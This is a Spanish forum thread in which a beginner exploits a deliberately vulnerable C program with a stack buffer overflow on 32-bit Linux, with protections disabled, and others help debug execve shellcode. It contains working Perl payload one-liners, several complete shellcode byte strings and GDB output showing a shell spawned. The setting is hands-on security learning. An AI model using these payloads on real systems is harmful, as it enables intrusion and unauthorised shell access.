Problema buffer overflow

Iniciado por kr0m_, 27 Agosto 2014, 11:17 AM

0 Miembros y 2 Visitantes están viendo este tema.

kr0m_

Hola, soy novato en estos temas del reversing y estoy experimentando con programas muy sencillos con tal de comprender el funcionamiento de estas técnicas, intento realizar un bufferoverflow que me permitirá a su vez ejecutar una shellcode, debo indicar que se trata de x86(32bits), se ha deshabilitado el aslr y se ha compilado el binario deshabilitando las medidas de seguridad de gcc:
echo 0 > /proc/sys/kernel/randomize_va_space
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack

El código en sí es este:

#include <stdio.h>
#include <string.h>

void func(char *str1, char *str2){
    char buff_a[32];
    char buff_b[24];
    char buff_c[32];
    printf("   buff_a is stored at %p.\n", &buff_a);
    printf("   buff_b is stored at %p.\n", &buff_b);
    printf("   buff_c is stored at %p.\n", &buff_c);
    strncpy(buff_c, str1, sizeof(buff_c));
    strncpy(buff_b, str2, sizeof(buff_b)-1);
    strcpy(buff_a, buff_c);
}

int main(int argc, char *argv[]){
    if ( argc < 3 ){
        printf("Uso: %s CADENA-1 CADENA-2\n", argv[0]);
        exit(0);
    }
   
    func(argv[1], argv[2]);
    return 0;
}


Mediante GDB compruebo que metiendo un entrada demasiado larga el buffer efectivamente se desborda sobreescribiendo el EIP:

(gdb) run `perl -e 'print "A"x32'` `perl -e 'print "AAAABBBBCCCCDDDDEEEE"'`
Starting program: /home/kr0m/overrun3 `perl -e 'print "A"x32'` `perl -e 'print "AAAABBBBCCCCDDDDEEEE"'`
   buff_a is stored at 0xbffff710.
   buff_b is stored at 0xbffff6f8.
   buff_c is stored at 0xbffff6d8.

Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()



Lo vuelvo a desbordar pero esta vez dejando en la primera variable mi shellcode:
(gdb) run `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x9'` `perl -e 'print "AAAABBBBCCCCDDDDEEEE"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/kr0m/overrun3 `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x9'` `perl -e 'print "AAAABBBBCCCCDDDDEEEE"'`
   buff_a is stored at 0xbffff710.
   buff_b is stored at 0xbffff6f8.
   buff_c is stored at 0xbffff6d8.

Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()


Si miramos el contenido de la memoria en posiciones cercanas al ESP podemos distinguir nuestra shellcode:
(gdb)  x/128x $esp-128
0xbffff6c0:   0xbffff710   0xbffff6d8   0x00000017   0xbffff774
0xbffff6d0:   0x08048230   0xbffff768   0x6850c031   0x68732f2f
0xbffff6e0:   0x69622f68   0x50e3896e   0xb0e18953   0x4180cd0b
0xbffff6f0:   0x41414141   0x41414141   0x41414141   0x42424242


Sobreescribo el EIP con la dirección donde se encuentra la shellcode:

(gdb) run `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x9'` `perl -e 'print "AAAABBBBCCCC\xd8\xf6\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/kr0m/overrun3 `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x9'` `perl -e 'print "AAAABBBBCCCC\xd8\xf6\xff\xbf"'`
   buff_a is stored at 0xbffff710.
   buff_b is stored at 0xbffff6f8.
   buff_c is stored at 0xbffff6d8.

Program received signal SIGILL, Illegal instruction.
0xbffff706 in ?? ()


(gdb) info registers
eax            0xfffffff2   -14
ecx            0xbffff739   -1073744071
edx            0x35   53
ebx            0xbffff738   -1073744072
esp            0xbffff72c   0xbffff72c
ebp            0x43434343   0x43434343
esi            0x0   0
edi            0x0   0
eip            0xbffff706   0xbffff706
eflags         0x10282   [ SF IF RF ]
cs             0x73   115
ss             0x7b   123
ds             0x7b   123
es             0x7b   123
fs             0x0   0
gs             0x33   51




Se puede observar que el EIP ha sido sobreescrito con el valor 0xc0bff6ff y no con 0xbffff6e8 que es donde se encuentra la shellcode, la dirección donde se encuentra la shellcode doy por hecho que es correcta ya que examinando el contenido de la pila y con el printf de debug las dos direcciones coinciden.

Es algo extraño ya que el EIP se sobreescribe con 0x44444444 que corresponde a los carácteres DDDD cuando ejecuto:
(gdb) run `perl -e 'print "A"x32'` `perl -e 'print "AAAABBBBCCCCDDDDEEEE"'`

Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()


En cambio cuando se intenta sobreescribir con 0xbffff6d8 termina con 0xbffff706:
(gdb) run `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x9'` `perl -e 'print "AAAABBBBCCCC\xd8\xf6\xff\xbf"'`

Program received signal SIGILL, Illegal instruction.
0xbffff706 in ?? ()

Alguien podría iluminarme? llevo varios días loco detrás de este programilla y me está volviendo loco, ya no se si es que entendí algún concepto incorrectamente o si hay alguna limitación por parte de GDB en cuanto acceso a direcciones de memoria....

MCKSys Argentina

No tengo linux por acá, pero creo que si estás ejecutando 0xBFFFF6D8. El tema es que el programa sigue y crashea en 0xBFFFF706.

Para verificar ésto, pon un INT3 (0xCC) al inicio del shellcode, así salta en el debugger. Si salta el BP, entonces sabes que estás ejecutando correctamente y que el shellcode tiene un error.

Saludos!
MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."


kr0m_

Muchas gracias por tomarte la molestia de leer y responder a mi post, he puesto el opcode cc en el inicio de mi shellcode y parece que salta la interrupción por lo tanto supongo que tienes razón, el programa casca mas adelante:

(gdb) run `perl -e 'print "\xcc\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x9'` `perl -e 'print "AAAABBBBCCCC\xd8\xf6\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/kr0m/overrun3 `perl -e 'print "\xcc\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x9'` `perl -e 'print "AAAABBBBCCCC\xd8\xf6\xff\xbf"'`
   buff_a is stored at 0xbffff710.
   buff_b is stored at 0xbffff6f8.
   buff_c is stored at 0xbffff6d8.

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff6d9 in ?? ()

Es esta la salida esperada cuando se ejecuta una INT3?


Mi shellcode en principio es correcta, en otras pruebas con otro código ha funcionado sin problemas, esta shellcode es copiada de http://shell-storm.org/shellcode/files/shellcode-827.php, debo tener en cuenta algo a la hora de elegir la shellcode a utilizar, mientras sea del tamaño correcto debería de funcionar, verdad?

Perdonad mi ignorancia pero acabo de iniciarme en este mundillo.

kr0m_

Amigos es realmente extraño, he probado con otra shellcode y funciona correctamente:
http://shell-storm.org/shellcode/files/shellcode-841.php

(gdb) run `perl -e 'print "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x11'` `perl -e 'print "AAAABBBBCCCC\xd8\xf6\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/kr0m/overrun3 `perl -e 'print "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x11'` `perl -e 'print "AAAABBBBCCCC\xd8\xf6\xff\xbf"'`
   buff_a is stored at 0xbffff710.
   buff_b is stored at 0xbffff6f8.
   buff_c is stored at 0xbffff6d8.
process 4226 is executing new program: /bin/dash
$

La cuestión es que está ocurriendo aquí? porque una shellcode sí y la otra no? Todo un misterio, sigo buscando respuestas, si alguien sabe que está ocurriendo por favor que me lo explique.

Un saludo.

kr0m_

He estado investigando y todavía no tengo una respuesta clara a porque no funciona la shellcode que utilicé en un principio pero estoy analizando la nueva y hay instrucciones que no me cuadran:

kr0m@reversedbox:~$ cat shellcode2.asm
section .text
global _start
_start:

xor ecx,ecx ; ECX --> 0
mul ecx ; Instruccion mistriosa, no tengo ni idea de para que multiplica ECX * EAX...
mov al,0xb ; INT 11: execve

; Forma la cadena //bin/bash\0
push ecx
push dword 0x68732f2f
push dword 0x6e69622f

mov ebx,esp ; Asigna //bin/bash\0 como parametro para la ejecución del execve
int 0x80 ; Ejecuta la syscall

Esta shellcode funciona en cambio si quito el mul ecx que a mi entender no es necesario ya no funciona.

Ejecución con mul:
kr0m@reversedbox:~$ ./overrun3 `perl -e 'print "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x11'` `perl -e 'print "AAAABBBBCCCC\x08\xf7\xff\xbf"'`
   buff_a is stored at 0xbffff740.
   buff_b is stored at 0xbffff728.
   buff_c is stored at 0xbffff708.
#

Ejecución sin mul:
kr0m@reversedbox:~$ echo -ne "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" | ndisasm -u -
00000000  31C9              xor ecx,ecx
00000002  F7E1              mul ecx
00000004  B00B              mov al,0xb
00000006  51                push ecx
00000007  682F2F7368        push dword 0x68732f2f
0000000C  682F62696E        push dword 0x6e69622f
00000011  89E3              mov ebx,esp
00000013  CD80              int 0x80

kr0m@reversedbox:~$ ./overrun3 `perl -e 'print "\x31\xc9\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x13'` `perl -e 'print "AAAABBBBCCCC\x08\xf7\xff\xbf"'`
   buff_a is stored at 0xbffff740.
   buff_b is stored at 0xbffff728.
   buff_c is stored at 0xbffff708.
Instrucción ilegal

Debugeando con gdb puedo ver que los registros no cambian de valor ni antes ni después de la ejecución de mul:
(gdb) disassemble _start
Dump of assembler code for function _start:
   0x08048060 <+0>:   xor    %ecx,%ecx
=> 0x08048062 <+2>:   mul    %ecx
   0x08048064 <+4>:   mov    $0xb,%al
   0x08048066 <+6>:   push   %ecx
   0x08048067 <+7>:   push   $0x68732f2f
   0x0804806c <+12>:   push   $0x6e69622f
   0x08048071 <+17>:   mov    %esp,%ebx
   0x08048073 <+19>:   int    $0x80
End of assembler dump.
(gdb) info registers
eax            0x0   0
ecx            0x0   0
edx            0x0   0
ebx            0x0   0
esp            0xbffff840   0xbffff840
ebp            0x0   0x0
esi            0x0   0
edi            0x0   0
eip            0x8048062   0x8048062 <_start+2>
eflags         0x246   [ PF ZF IF ]
cs             0x73   115
ss             0x7b   123
ds             0x7b   123
es             0x7b   123
fs             0x0   0
gs             0x0   0
(gdb) stepi 1
0x08048064 in _start ()
(gdb) disassemble _start
Dump of assembler code for function _start:
   0x08048060 <+0>:   xor    %ecx,%ecx
   0x08048062 <+2>:   mul    %ecx
=> 0x08048064 <+4>:   mov    $0xb,%al
   0x08048066 <+6>:   push   %ecx
   0x08048067 <+7>:   push   $0x68732f2f
   0x0804806c <+12>:   push   $0x6e69622f
   0x08048071 <+17>:   mov    %esp,%ebx
   0x08048073 <+19>:   int    $0x80
End of assembler dump.
(gdb) info registers
eax            0x0   0
ecx            0x0   0
edx            0x0   0
ebx            0x0   0
esp            0xbffff840   0xbffff840
ebp            0x0   0x0
esi            0x0   0
edi            0x0   0
eip            0x8048064   0x8048064 <_start+4>
eflags         0x246   [ PF ZF IF ]
cs             0x73   115
ss             0x7b   123
ds             0x7b   123
es             0x7b   123
fs             0x0   0
gs             0x0   0

En cambio si cargo el binario en gdb sin la instrucción mul:
(gdb) disassemble _start
Dump of assembler code for function _start:
   0x08048060 <+0>:   xor    %ecx,%ecx
=> 0x08048062 <+2>:   mov    $0xb,%al
   0x08048064 <+4>:   push   %ecx
   0x08048065 <+5>:   push   $0x68732f2f
   0x0804806a <+10>:   push   $0x6e69622f
   0x0804806f <+15>:   mov    %esp,%ebx
   0x08048071 <+17>:   int    $0x80
End of assembler dump.
(gdb) info registers
eax            0x0   0
ecx            0x0   0
edx            0x0   0
ebx            0x0   0
esp            0xbffff840   0xbffff840
ebp            0x0   0x0
esi            0x0   0
edi            0x0   0
eip            0x8048062   0x8048062 <_start+2>
eflags         0x246   [ PF ZF IF ]
cs             0x73   115
ss             0x7b   123
ds             0x7b   123
es             0x7b   123
fs             0x0   0
gs             0x0   0
(gdb) stepi 1
0x08048065 in _start ()
(gdb) disassemble _start
Dump of assembler code for function _start:
   0x08048060 <+0>:   xor    %ecx,%ecx
   0x08048062 <+2>:   mov    $0xb,%al
   0x08048064 <+4>:   push   %ecx
=> 0x08048065 <+5>:   push   $0x68732f2f
   0x0804806a <+10>:   push   $0x6e69622f
   0x0804806f <+15>:   mov    %esp,%ebx
   0x08048071 <+17>:   int    $0x80
End of assembler dump.
(gdb) info registers
eax            0xb   11
ecx            0x0   0
edx            0x0   0
ebx            0x0   0
esp            0xbffff83c   0xbffff83c
ebp            0x0   0x0
esi            0x0   0
edi            0x0   0
eip            0x8048065   0x8048065 <_start+5>
eflags         0x246   [ PF ZF IF ]
cs             0x73   115
ss             0x7b   123
ds             0x7b   123
es             0x7b   123
fs             0x0   0
gs             0x0   0

Podemos ver como se ha realizado el mov    $0xb,%al pero se ha saltado una instrucción en ASM. El problema será que no encuentra el final de la cadena y por eso no funciona correctamente.
Porque no se ha ejecutado push   %ecx y se ha pasado a push   $0x68732f2f?


kr0m_

Se me ha olvidado comentar que el binario sin la instrucción mul funciona sin problemas tanto desde dentro como desde fuera de gdb:

(gdb) disassemble _start
Dump of assembler code for function _start:
   0x08048060 <+0>:   xor    %ecx,%ecx
   0x08048062 <+2>:   mov    $0xb,%al
   0x08048064 <+4>:   push   %ecx
   0x08048065 <+5>:   push   $0x68732f2f
   0x0804806a <+10>:   push   $0x6e69622f
   0x0804806f <+15>:   mov    %esp,%ebx
=> 0x08048071 <+17>:   int    $0x80
End of assembler dump.

(gdb) stepi 1
process 3044 is executing new program: /bin/dash
Error in re-setting breakpoint 1: Function "_start" not defined.
$



kr0m@reversedbox:~$ ./shellcode2
$


Cualquier idea es bienvenida ;)


cpu2

No me lei todo el hilo, ya que es caotico con todo mi respeto.

La instruccion MUL lo que hace es multiplicar el reg/mem que le pases com parametro con eax, como ecx vale 0, pues logico que el resultado sera 0 y este se pasa a eax:edx, se utiliza para dejar en 0 esos dos registros, para no tener segmentaciones.

Cual puede ser el problema? Pues es posible que no estes apuntando bien, o cualquier cosa que pases por alto, no se como no te dije no me lei el hilo entero.

Te dejo una shellcode un byte mas pesada que la del link, para que pruebes.

Código (asm) [Seleccionar]
8048054: 31 c9                xor    %ecx,%ecx
8048056: 31 d2                xor    %edx,%edx
8048058: 6a 0b                push   $0xb
804805a: 58                    pop    %eax
804805b: 51                    push   %ecx
804805c: 68 2f 2f 73 68        push   $0x68732f2f
8048061: 68 2f 62 69 6e        push   $0x6e69622f
8048066: 89 e3                mov    %esp,%ebx
8048068: cd 80                int    $0x80


Y me dices que sucede, y que haces al ser posible ordenadamente.

Un saludo.

kr0m_

Muchas gracias por responder cpu2,siento que mis explicaciones sean tan malas, de verdad que pensaba que quedaría claro, el tema es que tengo una shellcode copiada de Inet y hay una instrucción que no entiendo el porque de ella, doy por echo que conoce ASM mejor que yo así que te dejo la shellcode sin los comentarios que puse en el post anterior:

xor ecx,ecx
mul ecx
mov al,0xb
push ecx
push dword 0x68732f2f
push dword 0x6e69622f
mov ebx,esp
int 0x80

Todo en este código tiene sentido para mi excepto la instrucción mul ecx, según leo en tu respuesta se está ejecutando lo siguiente:
eax:edx = ecx * eax
eax:edx = 0 * eax = 0

Perdona mi ignorancia pero no entiendo porque se guarda en dos registros el resultado, tampoco comprendo la coletilla "para no tener segmentaciones".

En cuanto a la shellcode que indicas también hay pasos que escapan a mi comprensión, la he probado y funciona correctamente, pero primero me gustaría centrarme en mi shellcode.

Te ruego que me perdones si estoy haciendo preguntas obvias o preguntando tonterias pero no tengo mucha experiencia en ASM ni en reversing en general.

Un saludo y muchas gracias por tu interes.

cpu2

Dios que educado xD.

CitarTodo en este código tiene sentido para mi excepto la instrucción mul ecx, según leo en tu respuesta se está ejecutando lo siguiente:
eax:edx = ecx * eax
eax:edx = 0 * eax = 0

Perdona mi ignorancia pero no entiendo porque se guarda en dos registros el resultado, tampoco comprendo la coletilla "para no tener segmentaciones".

Como te dije anteriormente, MUL es una instruccion que acepta como parametro un registro o una direccion de memoria efectiva (offset). Bien el XOR al ecx del principio lo deja en cero, luego pasas a MUL ecx como parametro, que vale cero, eso significa que el resultado de la multiplicacion sera cero.

Porque se guarda en dos registros el resultado?

Pues por el simple motivo del espacio, hay es donde tienes que tener cuidado tambien con los OverFlow, esta instruccion modica esa bandera.

Lo que te quiero decir es que eax y edx estan concatenados, si el resultado no entra en eax, la parte que sobra se copia en edx.

Ejemplo:

0xfca0ee22 x 2  ----> 0x1f941dc44

Como puedes observar el resultado no entraria en eax ya que son 5 bytes, en eax quedaria 0xf941dc44 y en edx 0x1, si lo lees edx:eax significa que edx se lee el primero y eax el ultimo, y si lo haces de esa forma veras que el resultado es correcto.

Si el resultado no entrase en los dos registros que fuera 9 bytes, activarias la bandera OF (OverFlow) y tendrias problemas.

Cuando dije lo de segmentacion me referia ha segmentation fault, eso ya es teoria... Es cuando intentas acceder a un offset y no puedes, bueno buscalo que o encuentras a patadas por la red, por eso no explico.

Vamos que si no pasas los parametros correctos te aparecera eso, es por eso que se limpian los registros con ese MUL.

Supongo que sabras el orden de los parametros en Linux, no?

Un saludo.

kr0m_

Gracias por la respuesta cpu2, creo que ya entiendo lo que está ocurriendo, el mul lo utiliza simplemente para que eax y edx valga 0 con una sola operación, he reescrito el código del siguiente modo:

xor ecx,ecx
;mul ecx
xor eax,eax
xor edx,edx
mov al,0xb
push ecx
push dword 0x68732f2f
push dword 0x6e69622f
mov ebx,esp
int 0x80

Como puedes ver eax y edx ahora valen 0, ejecuto mi programa con la shellcode del ASM anterior y funciona ok, pero tengo una duda mas, cual es el valor de ecx si no lo sobreescribo? tendrá el valor que dejó la ultima operación que utilizó dicho registro?

Un saludo